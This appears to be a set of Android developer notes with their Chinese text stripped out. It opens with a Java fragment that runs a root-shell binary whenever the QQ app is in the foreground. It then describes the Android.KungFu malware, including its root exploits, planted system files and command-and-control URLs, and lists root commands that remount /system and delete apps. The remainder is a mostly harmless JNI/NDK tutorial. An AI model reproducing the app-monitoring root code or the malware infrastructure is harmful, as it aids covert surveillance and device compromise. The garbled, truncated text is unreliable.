																//	1,Activity
																List<RunningTaskInfo>	tasks	=	activityManager.getRunningTasks(1);//
tasks
																RunningTaskInfo	task	=	tasks.get(0);//task
																ComponentName	topActivity	=	task.topActivity;//	taskactivity
																//	2 qqcom.tencent.qq
																String	packageName	=	topActivity.getPackageName();
																if	("com.tencent.qq".equals(packageName))	{
																				//	3key
																				String	key	=	getFilesDir()	+	"key";
																				try	{
																								List<String>	list	=	RootTools.sendShell(key,	3000);
																								//	4key qq
																				}	catch	(Exception	e)	{
																								e.printStackTrace();
																				}



																}
												}
								}.start();
				}
				@Override
				public	void	onDestroy()	{
								super.onDestroy();
				}
}

keyandroid	4.1.2

wiz:open_attachment?guid=60c04e70-7fb9-453d-8c45-85883f8d5eb2
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Kungfu

Kungfu
Android.KungFu (Loader) (Payload)Payload Android.KungFu

LoaderPayload
	Loader ROOT Loader LoaderROOT	 LoaderROOT XXX

Android.KungFu	XXX ROOT LoaderNPROC_RLIMITROOT
Android2.12.2 ROOT

Loader

Device	IDSDK mycfg.iniini/system/etc.rild_cfg

AESPayloadPayloadassets Webview.db.init Payload

/system/etc/.dhcpcd
/system/xbin/ccb
/system/bin/installd /system/bin/installdd
/system/bin/dhcpcd /system/bin/dhcpcdd
/system/bin/bootanimation /system/bin/bootanimationd

/system/xbin/ccb
Payload APK (installd,	dhcpcd,	bootanimation) ROOT

PayloadAPK	
Payload http://search.gongfu-android.com:8511
http://search.zi18.com:8511
http://search.zs169.com:8511
Payload Payload/system/etc/dhcpcd.lock
Payload
APK
APK
APK
APK

Kungfu



assets""

1gbfm.png linuxsdcardroot

	

ROOT	
superoneclick
zergrush	
(,root)
http://blog.csdn.net/tomken_zhang/	
2install.png linuxread-only

http://blog.csdn.net/tomken_zhang/


	
chown
#	mount	-o	remount	system	/system	
/system/appapk

a
rm	-	r	Music.apk

	
b
#	mount	-o	remount	system	/system		
#	rm	-r	Music.apk

	
c
#	mount	-o	remount,ro	system	/system		
#	rm	-r	Superuser.apk

3installsoft.png linux,



/system/bin/pm	install	-r	*.apk		-r
Activity /system/bin/am	start	-
n	cn.zengfansheng.mobilesafe/cn.zengfansheng.mobilesafe.HomeActivity
4runme.png linux



eagle	
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interval	
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jni

3

:	 NDK	(native	develop	kits)	
:NDKlinux
:	(,)	.
windows	AMD	intel	x86	->		android	arm
	

.c	.java
1.			()	()
2.			,(cpu	x86	arm,)
									.
	
: cygwin:	windowslinux.
cygwin	,
	
:
cdt	:	c/c++	develop	tools		(cc++	)
adt	:	android	develop	tools

cygwinC:\cygwin\etc\profile:			

eclipseadt eclipsecc++cdt

1cdt:c/c++	develop	tookit	 cc++	

cdt:http://www.eclipse.org/cdt/downloads.php	

http://www.eclipse.org/cdt/downloads.php


Helpinstall	new	software

a 	http://download.eclipse.org/tools/cdt/releases/kepler/

Programing	language

http://download.eclipse.org/tools/cdt/releases/kepler/


c/c++	



	

next

licenses

eclipse

	b

	

	

Windowslinux- cygwin cygwin



Ndklinux cygwinwindowslinux

Cygwin

install	from	local	directory



	



	

	



	

internet	1 	

	,



	cygwin

	

Make	–v



		

	

	GNU	Make		,cygwinlinux		

ndk android	ndk,	r9b

vpnhttp://www.freevpnworld.com/,google	

android	ndk http://developer.android.com/tools/sdk/ndk/index.html

http://www.freevpnworld.com/
http://developer.android.com/tools/sdk/ndk/index.html


	,C:\android-ndk-r9b

./ndk-build



ndk-build NDK	cygwin

cygwinndk C:\cygwin\etc\profile





JNI-HelloWorld

JNICHelloWorld 1Android
2JAVAnative	 	public	native	String	helloFromJNI();c
3javah
4jni,,c
jni.hC:\android-ndk-r9b\platforms\android-16\arch-arm\usr\include
Hello.c
#include	<stdio.h>
#include	<jni.h>
#include	"cn_zengfansheng_helloworld_DemoActivity.h"
<>,""

//typedef	const	struct	JNINativeInterface*	JNIEnv;
//typedef	void*		jobject;
//struct	JNINativeInterface	{	jstring		(*NewStringUTF)(JNIEnv*,	const	char*);	}
//_.
jstring	Java_cn_zengfansheng_ndkhelloworld_DemoActivity_helloFromJNI(JNIEnv*	env,jobject	obj){
				//		JNINativeInterface**	env	JNINativeInterface*
				//return	(*(*env)).NewStringUTF(env,"hello	world	from	c");
				return	(*env)->NewStringUTF(env,"hello	world	from	c");
}
1CJava_((.)(_))__native JNIEnv*	env,jobject	obj
2

21_1
jstring	Java_cn_zengfansheng_ndkhelloworld_DemoActivity_hello_1from_1c(JNIEnv*	env,jobject	obj)
{
				return	(*env)->NewStringUTF(env,"hello	world	from	c____");
}
5 Android.mk

file:///C:/android-ndk-r9b/docs/ANDROID-MK.html
Android.mk
LOCAL_PATH	:=	$(call	my-dir)
include	$(CLEAR_VARS)
LOCAL_MODULE				:=Hello	//
LOCAL_SRC_FILES	:=Hello.c	//
include	$(BUILD_SHARED_LIBRARY)

http://file:///C:/android-ndk-r9b/docs/ANDROID-MK.html


6NDK
cygwinjni

$	ndk-build

7Javaload	.native
static	{
				//	libHello.soLOCAL_MODULE	:=Hello lib.so
				System.loadLibrary("Hello");
}
8Android

javah-javahnative*.h
nativejavah
a	
1Hello.javajavac.class
class	Hello{
				public	native	String	h1();
				private	native		String	h1_1_h();
}
2cmdjavah	HelloHello.h
>	javah	Hello		

	
/*	DO	NOT	EDIT	THIS	FILE	-	it	is	machine	generated	*/

#include	<jni.h>

/*	Header	for	class	Hello	*/



	

#ifndef	_Included_Hello

#define	_Included_Hello

#ifdef	__cplusplus

extern	"C"	{

#endif

/*

	*	Class:					Hello

	*	Method:				h1

*	Signature:	()Ljava/lang/String;

*/

JNIEXPORT	jstring	JNICALL	Java_Hello_h1

		(JNIEnv	*,	jobject);

	

/*

	*	Class:					Hello

	*	Method:				h1_1_h

*	Signature:	()Ljava/lang/String;

*/

JNIEXPORT	jstring	JNICALL	Java_Hello_h1_11_1h

		(JNIEnv	*,	jobject);

	

#ifdef	__cplusplus

}

#endif

#endif

b
1javac_Hello.class/cn/zengfansheng/jni
package	cn.zengfansheng.jni;
class	_Hello{
	public	native	String	h1();
	private	native		String	h1_1_h();
}
2cnjavah	_Hello	
>	javah	cn.zengfansheng.jni._Hello
(cn)	
JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_jni__1Hello_h1
		(JNIEnv	*,	jobject);
JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_jni__1Hello_h1_11_1h
		(JNIEnv	*,	jobject);

2javah
:	android.app.Activity
		android.app.Activity



	
bin/classessrc

	

1intel	x86
11-28	01:02:05.181:	E/AndroidRuntime(1629):	Caused	by:	java.lang.UnsatisfiedLinkError:
Couldn't	load	Hello:	findLibrary	returned	null

android:)		cjava.lang.UnsatisfiedLinkError:	Couldn’t
load***.so
	

libs

so“lib”ndklib
ndksample
	
eclipseinter	atom	cpusoarm
	
arm	cpuandroidarminte



Android.mk

1Android.mk Android.mk
#1LOCAL_PATH	c/c++	,linux	makefile	
#Android.mk		
LOCAL_PATH	:=	$(call	my-dir)

#2$(CLEAR_VARS)	:	LOCAL_PATH	
#$()makefile
include	$(CLEAR_VARS)

#3LOCAL_MODULElibs\armeabilibXXX.so
#libHello.so	lib	.so	makefile
#LOCAL_MODULE:=libHellolibHello.sosoHello
LOCAL_MODULE	:=Hello

#4LOCAL_SRC_FILESc
LOCAL_SRC_FILES	:=Hello.c	
include	$(BUILD_SHARED_LIBRARY)

cygwinndk-build	cleanndk-build
2Android.mk	
	
a)	LOCAL_PATH:=$(call	my-dir)
	
LOCAL_PATH.
	
my-dir	,	$(call	my-dir)	my-dir,
Android.mk
	
b)	include	$(CLEAR_VARS)
	
CLEAR_BARS	build	system
	LOCAL_XXX,
,		
LOCAL_MODULE,_SRC_FILELOCALS,LOCAL_STATIC_LIBRARIES,...
	LOCAL_PATH



	
c)	LOCAL_MODULE		
LOCAL_MODULE		,..
lib,	Hello	libHello.so
	
libHello	ndkmodulelib
	
	HellolibHello
	
d)	LOCAL_SRC_FILES	=	:Hello.c

	,,		
	
e)	include	$(BUILD_SHARED_LIBRARY)		BUILD_STATIC_LIBRARY.so
	
,.a	include	$(BUILD_STATIC_LIBRARY)
	
f)	
	
LOCAL_CPP_EXTENSION	:=	cc	//c++
LOCAL_MODULE				:=	ndkfoo
LOCAL_SRC_FILES	:=	ndkfoo.cc
	
LOCAL_LDLIBS	+=	-llog	-lvmsagent	-lmpnet	-lmpxml	-lH264Android
//.	



NDK

1Android.mk Android.mkAndroid.mk.mcygwin
$	ndk-build	

Android	NDK:	Your	APP_BUILD_SCRIPT	points	to	an	unknown	file:	/cygdrive/f/02_Android/android4_0_project/Ndkhelloworld/jni/Android.mk

/cygdrive/c/android-ndk-r9b/build/core/add-application.mk:171:	***	Android	NDK:	Aborting...					

2Android.mk	
LOCAL_MODULE:=libHello
$	ndk-build	

/cygdrive/c/android-ndk-r9b/build/core/build-shared-

library.mk:23:	***	Android	N										DK:	Missing	LOCAL_MODULE	

	

3c	,
$	ndk-build	

C
[armeabi]	Compile	thumb		:	Hello	<=	Hello.c

F:/02_Android/android4_0_project/Ndkhelloworld/jni/Hello.c:	In	function	'Java_cn_zengfansheng_ndkhelloworld_DemoActivity_helloFromJNI':

F:/02_Android/android4_0_project/Ndkhelloworld/jni/Hello.c:7:2:	error:	unknown	type	name	'haha'

/cygdrive/c/android-ndk-r9b/build/core/build-binary.mk:384:	recipe	for	target	`/cygdrive/f/02_Android/android4_0_project/Ndkhelloworld/obj/local/armeabi/objs/Hello/Hello.o'	failed

make:	***	[/cygdrive/f/02_Android/android4_0_project/Ndkhelloworld/obj/local/armeabi/objs/Hello/Hello.o]	Error	1



4javaC 	.
static
static	{
				//	libHello.soLOCAL_MODULE	:=Hello lib.so
				System.loadLibrary("Hell0");//Hello0
}
cygwin$	ndk-build
11-28	02:05:49.531:	E/AndroidRuntime(805):	Caused	by:	java.lang.UnsatisfiedLinkError:	Couldn't	load	Hell0:	findLibrary	returned	null

	

5C
javanative	 public	native	String	helloFromJNI();		
C
jstring	Java_cn_zengfansheng_ndkhelloworld_DemoActivity_helloFromJNI111111
								JNIEnv	*	env,	jobject	obj)	{
				return	(*(*env)).NewStringUTF(env,	"hello	from	c	javah");
}
$	ndk-build	

11-28	02:05:49.531:	E/AndroidRuntime(805):	Caused	by:	java.lang.UnsatisfiedLinkError:	Couldn't	load	Hell0:	findLibrary	returned	null
11-28	02:12:15.222:	E/AndroidRuntime(933):	Caused	by:	java.lang.UnsatisfiedLinkError:	Native	method	not	found:	cn.zengfansheng.ndkhelloworld.DemoActivity.helloFromJNI:()Ljava/lang/String;

	
CJava
Java_cn_zengfansheng_ndkhelloworld_DemoActivity_helloFromJNI(
								JNIEnv	*	env,	jobject	obj)	{}



6 ,	,	, 	

.	ndk-gdb		C:\and roid-ndk-r9b\ndk-gdb
log		



LogC

1C
#include	<android/log.h>			//C:\android-ndk-r9b\platforms\android-16\arch-arm\usr
#define	LOG_TAG	"System.out.c"	//LogCatTag
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)
#define	LOGI(...)	__android_log_print(ANDROID_LOG_INFO,	LOG_TAG,	__VA_ARGS__)
2Android.mk LOCAL_LDLIBS	+=	-llog
#C:\android-ndk-r9b\platforms\android-16\arch-arm\usr\lib\liblog.so	-l
#libOpenSLES.soLOCAL_LDLIBS	+=	-lOpenSLES
LOCAL_LDLIBS	+=	-llog

	LOCAL_LDLIBS	+=	-llog		 include	$(BUILD_SHARED_LIBRARY)
cygwinc error:	undefined	reference	to	'__android_log_print'

3C
LOGI("info\n");
LOGD("debug\n");
4C
#include	<stdio.h>
#include	<jni.h>
#include	<malloc.h>

#include	"cn_zengfansheng_ndkhelloworld_DemoActivity.h"
#include	<android/log.h>			//C:\android-ndk-r9b\platforms\android-16\arch-arm\usr
#define	LOG_TAG	"System.out.c"	//LogCatTag
#define	LOGD(...)		__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)
#define	LOGI(...)		__android_log_print(ANDROID_LOG_INFO,	LOG_TAG,	__VA_ARGS__)

jstring	Java_cn_zengfansheng_ndkhelloworld_DemoActivity_helloFromJNI(
								JNIEnv	*	env,	jobject	obj)	{
				LOGI("method	called");
				LOGI("ARRAY	init");
				char*	a1	=	(char*)	malloc(sizeof(char)*10);
				*a1	=	'a';
				*(a1+1)	=	'b';
				*(a1+2)	=	'c';
				*(a1+9)	='\0';



				LOGI("a1	=	%s",a1);
				char	a2[2]	={'e','f'};
				LOGI("ARRAY	init	finish");
				LOGI("copy	array");
				strcat(a1,a2);	//	a2	a1	a1>	a1+a2
				LOGI("a1		end	=	%s",a1);
				LOGI("copy	array	end");
				return	(*(*env)).NewStringUTF(env,	"hello	from	c	javah");
}
clog
5

	
1 Log LOCAL_LDLIBS	+=	-llog	 include	$(BUILD_SHARED_LIBRARY)
error:	undefined	reference	to	'__android_log_print'

LOCAL_LDLIBS	+=	-lloginclude	$(BUILD_SHARED_LIBRARY)
2 Android	NDK:	WARNING:	APP_PLATFORM	android-

19	is	larger	than	android:minSdkVersion	16	in	/cygdrive/f/02_Android/android4_0_project/Ndkhelloworld/AndroidManifest.xml

android:minSdkVersion
<uses-sdk
								android:minSdkVersion="19"
								android:targetSdkVersion="19"	/>



NDK

1javanative
2jnic
3javahsrc
4.hjni
5jnic
6jniAndroid.mk	C:\android-ndk-r9b\docs\ANDROID-MK.html
7cygwinc
$	ndk-build

8javanative

#include	<stdio.h>
#include	<jni.h>
#include	"cn_zengfansheng_ndk_utf_MainActivity.h"
jstring	Java_cn_zengfansheng_ndk_1utf_MainActivity_hello(JNIEnv	*	env,
								jobject	obj)	{
				return	(*env)->NewStringUTF(env,	"" );
}

ndk:
1ndk		ndk-r4-crystal
iso-8859-1	, new	String(hello().getBytes("ISO8859-1"),"UTF-8")
2	ndkhello.cproperties

	





javac

charjavacjavacharString
1javaDataProvider4native

package	cn.zengfansheng.datapass;
public	class	DataProvider	{
				/**
					*	1java intc,	c,java
					*	@param	x	
					*	@param	y
					*	@return
					*/
				public	native	int	add(int	x,	int	y);
				/**
					*	2javastringc,	cjavastring	,string	hello	
					*	@param	s
					*	@return
					*/
				public	native	String	sayHelloInC(String	s);
				/**
					*	3java int	c,cjava	
					*	 int+10	;
					*	java
					*	@param	iNum
					*	@return
					*/
				public	native	int[]	intMethod(int[]	iNum);
				
				/**
					*	4
					*	@param	x	
					*	@param	y	
					*	@return	
					*/
				public	static	native	int	sub(int	x	,int	y);
}
2javah.hAndroid.mk
3c
#include	<stdio.h>
#include	<jni.h>
#include	<malloc.h>



#include	<android/log.h>
#include	"cn_zengfansheng_datapass_DataProvider.h"
#define	LOG_TAG	"System.out.c"	//LogCatTag
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)

//0	char*	char
//Jstring2CStr	java jstringcchar	
char*	Jstring2CStr(JNIEnv*	env,	jstring	jstr)	{
				char*	rtn	=	NULL;
				jclass	clsstring	=	(*env)->FindClass(env,	"java/lang/String");	//String
				jstring	strencode	=	(*env)->NewStringUTF(env,	"GB2312");	//	java	"GB2312"
				jmethodID	mid	=	(*env)->GetMethodID(env,	clsstring,	"getBytes",
												"(Ljava/lang/String;)[B");	//[	String.getBytes("gb2312");
				jbyteArray	barr	=	(jbyteArray)(*env)->CallObjectMethod(env,	jstr,	mid,
												strencode);	//	String	.getByte("GB2312");
				jsize	alen	=	(*env)->GetArrayLength(env,	barr);	//	byte
				jbyte*	ba	=	(*env)->GetByteArrayElements(env,	barr,	JNI_FALSE);
				if	(alen	>	0)	{
								rtn	=	(char*)	malloc(alen	+	1);									//"\0"
								memcpy(rtn,	ba,	alen);
								rtn[alen]	=	0;
				}
				(*env)->ReleaseByteArrayElements(env,	barr,	ba,	0);		//
				return	rtn;
}

//1java intc,	c,java
JNIEXPORT	jint	JNICALL	Java_cn_zengfansheng_datapass_DataProvider_add(
								JNIEnv	*	env,	jobject	obj,	jint	x,	jint	y)	{
				LOGD("x=%d",	x);
				LOGD("y=%d",	y);
				return	x	+	y;
}

//2javastringc,	cjavastring	,string	hello
JNIEXPORT	jstring	JNICALL	Java_cn_zengfansheng_datapass_DataProvider_sayHelloInC
								JNIEnv	*	env,	jobject	obj,	jstring	jstr)	{

				//1javaStrings//c	javaString
				char*	cstr	=	Jstring2CStr(env,	jstr);
				LOGD("cstr=%s",	cstr);
				char*	arr	=	"	hello\0";		//char*	char	 arr[]



				//char	arr[7]	=	{	'	',	'h',	'e',	'l',	'l',	'o',	'\0'	};//	c	'/0'	
				//

				//2hello
				strcat(cstr,	arr);
				LOGD("new	cstr=%s",	cstr);
				return	(*env)->NewStringUTF(env,	cstr);
}

/**	envobj
		*	env	java		c	 jni
		*	jobject	obj	cjava	DataProider
		*/

//3java int	c,cjava
JNIEXPORT	jintArray	JNICALL	Java_cn_zengfansheng_datapass_DataProvider_intMethod
								JNIEnv	*	env,	jobject	obj,	jintArray	arr)	{

				//1java int
				//jsize	(*GetArrayLength)(JNIEnv*,	jarray);
				int	size	=	(*env)->GetArrayLength(env,	arr);
				LOGD("c	arr	size	=%d",	size);				//,+

				//210
				//	jint*			(*GetIntArrayElements)(JNIEnv*,	jintArray,	jboolean*);//
				int*	intarr	=	(*env)->GetIntArrayElements(env,	arr,	0);
				int	i	=	0;
				for	(;	i	<	size;	i++)	{
								LOGD("c	intarr[%d]=%d",	i,	intarr[i]
								*(intarr	+	i)	+=	10;
				}

				//		void			(*ReleaseIntArrayElements)(JNIEnv*,	jintArray,jint*,	jint);
				//				(*env)->ReleaseIntArrayElements(env,arr,intarr,0);	//	c	
				return	arr;				//return	intarr
}

/**
	*	c	class
	*	jclass	DataProvider		
	*/



//	4
JNIEXPORT	jint	JNICALL	Java_cn_zengfansheng_datapass_DataProvider_sub(
								JNIEnv	*	env,	jclass	cla,	jint	x,	jint	y)	{
				LOGD("x=%d",	x);
				LOGD("y=%d",	y);
				return	x	-	y;
}



jni

	: 	c/c++
socket	http

	1C
int	login(char*	username,char	*	password){
				//
			//socket		,	username		password.
			//	200	
			//404	
}
2Javanative
	public	native	int	callLogin(String	username,	String	pwd);
	
3 javah	native
	
4androidjnindkandroid.mkccclogin
jint	Java_xxx_xxx_xxx_xxx_Login(JNIENV*	env	,	jobject	obj	,	jstring	username,	jstring
pwd){
			char*		cusername	=	JStr2Cstr();
			char*		cpwd	=	JStr2Cstr();
			int	result	=	login(cusername	,cpwd);
				if(result	==	200){
				}
}
5AndroidnativecallLogin()c

1 myLogin.c-Cjava
#include	<stdio.h>
#include	<stdlib.h>
#include	<android/log.h>
#include	<jni.h>
#include	"cn_zengfansheng_realdevp_LoginNative.h"
#define	LOG_TAG	"System.out.c"	//LogCatTag
#define	LOGD(...)	__android_log_print(ANDROID_LOG_DEBUG,	LOG_TAG,	__VA_ARGS__)

//0	char*	char
//Jstring2CStr	java jstringcchar	



char*	Jstring2CStr(JNIEnv*	env,	jstring	jstr)	{
				char*	rtn	=	NULL;
				jclass	clsstring	=	(*env)->FindClass(env,	"java/lang/String");	//String
				jstring	strencode	=	(*env)->NewStringUTF(env,	"GB2312");	//	java	"GB2312"
				jmethodID	mid	=	(*env)->GetMethodID(env,	clsstring,	"getBytes",
												"(Ljava/lang/String;)[B");	//[	String.getBytes("gb2312");
				jbyteArray	barr	=	(jbyteArray)(*env)->CallObjectMethod(env,	jstr,	mid,
												strencode);	//	String	.getByte("GB2312");
				jsize	alen	=	(*env)->GetArrayLength(env,	barr);	//	byte
				jbyte*	ba	=	(*env)->GetByteArrayElements(env,	barr,	JNI_FALSE);
				if	(alen	>	0)	{
								rtn	=	(char*)	malloc(alen	+	1);									//"\0"
								memcpy(rtn,	ba,	alen);
								rtn[alen]	=	0;
				}
				(*env)->ReleaseByteArrayElements(env,	barr,	ba,	0);		//
				return	rtn;
}

//1C
int	login(char*	username,	char*	password)	{
				//1
				char*	realuser	=	"hacket";
				char*	realpwd	=	"123456";
				int	i	=	0;
				for	(;	*(realuser	+	i)	!=	'\0';	i++)	{
								if	(*(username	+	i)	!=	*(realuser	+	i))	{	//404
												return	404;
								}
				}
				printf("----------------\n");
				int	j	=	0;
				for	(;	*(realpwd	+	j)	!=	'\0';	j++)	{
								if	(*(password	+	j)	!=	*(realpwd	+	j))	{
												return	404;
								}
				}
				return	200;
}
//2java
JNIEXPORT	jint	JNICALL	Java_cn_zengfansheng_realdevp_LoginNative_callLogin(
								JNIEnv	*env,	jobject	obj,	jstring	juser,	jstring	jpwd)	{



				//1javacchar*
				char*	cuser	=	Jstring2CStr(env,	juser);
				char*	cpwd	=	Jstring2CStr(env,	jpwd);
				LOGD("cuser=%s",	cuser);
				LOGD("cpwd=%s",	cpwd);

				//2login
				int	resultcode	=	login(cuser,	cpwd);
				LOGD("resultcode=%d",	resultcode);

				//3java
				return	resultcode;
}
2android.mk
LOCAL_PATH	:=	$(call	my-dir)
include	$(CLEAR_VARS)
LOCAL_MODULE				:=	MyLogin
LOCAL_SRC_FILES	:=	myLogin.c
#ndkLOCAL_LDLIBS	:=	-lz
LOCAL_LDLIBS	+=	-llog
include	$(BUILD_SHARED_LIBRARY)
3LoginNative-javanative
package	cn.zengfansheng.realdevp;
public	class	LoginNative	{
				public	native	int	callLogin(String	username,	String	pwd);
}
4 MainActivity.java-javanative
package	cn.zengfansheng.realdevp;
import	android.app.Activity;
import	android.os.Bundle;
import	android.text.TextUtils;
import	android.view.View;
import	android.widget.EditText;
import	android.widget.Toast;
public	class	MainActivity	extends	Activity	{

				private	EditText	et_user;
				private	EditText	et_pwd;

				static	{
								//	libMyLogin.so



								System.loadLibrary("MyLogin");
				}

				@Override
				protected	void	onCreate(Bundle	savedInstanceState)	{
								super.onCreate(savedInstanceState);
								setContentView(R.layout.activity_main);
								et_user	=	(EditText)	this.findViewById(R.id.et_username);
								et_pwd	=	(EditText)	this.findViewById(R.id.et_password);
				}
				public	void	loginFromC(View	view)	{
								String	username	=	et_user.getText().toString();
								String	password	=	et_pwd.getText().toString();
								if	(TextUtils.isEmpty(username)	||	TextUtils.isEmpty(password))	{
												Toast.makeText(this,	"·" ,	Toast.LENGTH_LONG).show();
												return;
								}
								LoginNative	loginNative	=	new	LoginNative();
								int	resultCode	=	loginNative.callLogin(username,	password);
								if	(resultCode	==	200)	{
												Toast.makeText(this,	"~" ,	Toast.LENGTH_LONG).show();
								}	else	{
												Toast.makeText(this,	"" 	+	resultCode,	Toast.LENGTH_LONG).show();
								}
				}
}
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CJava-ndkcallback

javap	-s	

jni.h

typedef	union	jvalue	{

				jboolean				z;

				jbyte							b;

				jchar							c;

				jshort						s;

				jint								i;

				jlong							j;

				jfloat						f;

				jdouble					d;

				jobject					l;

}	jvalue;

Cjavavoid

1Android
2java
DataProviderchelloFromJava()

//	1Cjava
public	void	helloFromJava()	{
				System.out.println("Cjava		helloFromJava()");
}		

nativtecallMethodFromJava1()ccjava
//	javaccjava
public	native	void	callMethodFromJava1();		

3javahsrc
4jnicnative
5android.mk C:\android-ndk-r9b\docs\ANDROID-MK.html
6c
**cjava?java
a)	java
jclass						(*FindClass)(JNIEnv*,	const	char*);		//2src	(cn/...)

jclass	clazz	=	(*env)->FindClass(env,"cn/zengfanheng/ccallinjava/DataProvider");		
b)	MethodID
jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
	//23
//4javap	-s

wiz:open_attachment?guid=75738fc8-fc6f-49f2-9cf5-38de664a4c9b


javap bjni.hstruct
	\bin\classes
javap		-s		cn.zengfanheng.ccallinjava.DataProvider

								jmethodID	methodId1	=	(*env)->GetMethodID(env,clazz,"helloFromJava",	"()V");		
c)	java
void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);
//22id3
						(*env)->CallVoidMethod(env,obj,methodId1);

7cygwinc
							$	ndk-build
8java
static	{
				//	LOCAL_MODULE	:=	callMethodFromJava
				//	libcallMethodFromJava.so
				System.loadLibrary("callMethodFromJava");
}
9java
10



Cjavaint2int
afindClass
//	jclass						(*FindClass)(JNIEnv*,	const	char*);
jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider");		

bGetMethodId	javaid	(env,jcalss,,)
//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
jmethodID	methodId2	=	(*env)->GetMethodID(env,dpclazz,"addFromJava","(II)I");			
//	(II)I		int	(int,int),jni.h	union	jvalue
//jmethodID	methodId2	=	(*env)->GetMethodID(env,dpclazz,"addFromJava","		(II)I");//
	
cCallIntMethod		 int2int
//jint								(*CallIntMethod)(JNIEnv*,	jobject,	jmethodID,	...);
int	x	=	3,y	=	5;
jint	addresult	=	(*env)->CallIntMethod(env,obj,methodId2,x,y);		

d	

CjavavoidStringString
javapublic	void	printStringFromJava(String	s) 		
afindClass
//jclass						(*FindClass)(JNIEnv*,	const	char*);		
jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider");		

bGetMethodId
//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);		
jmethodID	methodId3	=	(*env)->GetMethodID(env,dpclazz,"printStringFromJava","(Ljava
		
cchar*javaString
//string					(*NewStringUTF)(JNIEnv*,	const	char*);		
char*	ch	=	"→i	am	from	c	" ;
jstring	jstr	=		(*env)->NewStringUTF(env,ch);		



d,String
//void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);		
(*env)->CallVoidMethod(env,obj,methodId3,jstr);		

e

	

Cjava StringString

ajclass						(*FindClass)(JNIEnv*,	const	char*);
bjmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
cjobject					(*CallObjectMethod)(JNIEnv*,	jobject,	jmethodID,	...);

//	4CjavastringString			public	String	getNameFromJava(String	s)
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava4
		(JNIEnv	*env,	jobject	obj){
				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider");
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}
				//2javaid	(..)
				//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId4	=	(*env)->GetMethodID(env,dpclazz,"getNameFromJava","
(Ljava/lang/String;)Ljava/lang/String;");
				if(methodId4==0){
								LOGI("find	methodId4	error");
								return;
				}
				LOGI("find	methodId4	success	");
				//3
				//jobject					(*CallObjectMethod)(JNIEnv*,	jobject,	jmethodID,	...);
				char*	ch	=	"hacket";
				jstring	jstr	=		(*env)->NewStringUTF(env,ch);



				jstring	name	=	(*env)->CallObjectMethod(env,obj,methodId4,jstr);
				char*	myname	=	Jstring2CStr(env,name);
				LOGI("c--%s",myname);
				LOGI("callMethodFromJava4------------------------end");
}		

	

CjavavoidString
1
a	jclass			(*FindClass)(JNIEnv*,	const	char*);
b	jmethodID(*GetStaticMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
cvoid			(*CallStaticVoidMethod)(JNIEnv*,	jclass,	jmethodID,	...);
2
//5CjavastaticStringvoid		public	static	void	printStaticStr(String	s)
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_DataProvider_callMethodFromJava5
(JNIEnv	*	env,	jobject	obj)	{

				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider");
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}

				//
				//2javaid	(..)
				//	jmethodID			(*GetStaticMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId5	=	(*env)->GetStaticMethodID(env,dpclazz,"printStaticStr","(Ljava
				if(methodId5==0){
								LOGI("find	methodId5	error");
								return;
				}
				LOGI("find	methodId5	success	");

				//3,voidString,static



				//void								(*CallStaticVoidMethod)(JNIEnv*,	jclass,	jmethodID,	...);
				char*	ch	=	"i	am	in	c	static";
				jstring	jstr	=		(*env)->NewStringUTF(env,ch);
				(*env)->CallStaticVoidMethod(env,dpclazz,methodId5,jstr);
				LOGI("callMethodFromJava5------------------------end");
}
3

	

nativejava
1
a	jclass						(*FindClass)(JNIEnv*,	const	char*);
b 	jmethodID(*GetStaticMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
c
native,objMainActivityobjDataProvidernewjava
jobject					(*AllocObject)(JNIEnv*,	jclass);
d
2
//6Cnative	,helloFromJava
JNIEXPORT	void	JNICALL	Java_cn_zengfanheng_ccallinjava_MainActivity_call_1dp_1callMethodFromJava1
(JNIEnv	*env,	jobject	obj)	{
				//1
				//jclass						(*FindClass)(JNIEnv*,	const	char*);
				jclass	dpclazz	=	(*env)->FindClass(env,	"cn/zengfanheng/ccallinjava/DataProvider");
				if	(dpclazz==0)	{
								LOGI("find	class	error");
								return;
				}
				//2javaid	(..)
				//jmethodID			(*GetMethodID)(JNIEnv*,	jclass,	const	char*,	const	char*);
				jmethodID	methodId6	=	(*env)->GetMethodID(env,dpclazz,"helloFromJava","()V");
				if(methodId6==0){
								LOGI("find	methodId6	error");
								return;
				}
				LOGI("find	methodId6	success	");
				//3native, objMainActivity objDataProvidernewjava
				//				jobject					(*AllocObject)(JNIEnv*,	jclass);



				jobject	dp_obj	=	(*env)->AllocObject(env,dpclazz);
				//4, obj
				//void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);
				(*env)->CallVoidMethod(env,dp_obj,methodId6,jstr);
				LOGI("callMethodFromJava6------------------------end");
}		
3

	

new
void								(*CallVoidMethod)(JNIEnv*,	jobject,	jmethodID,	...);
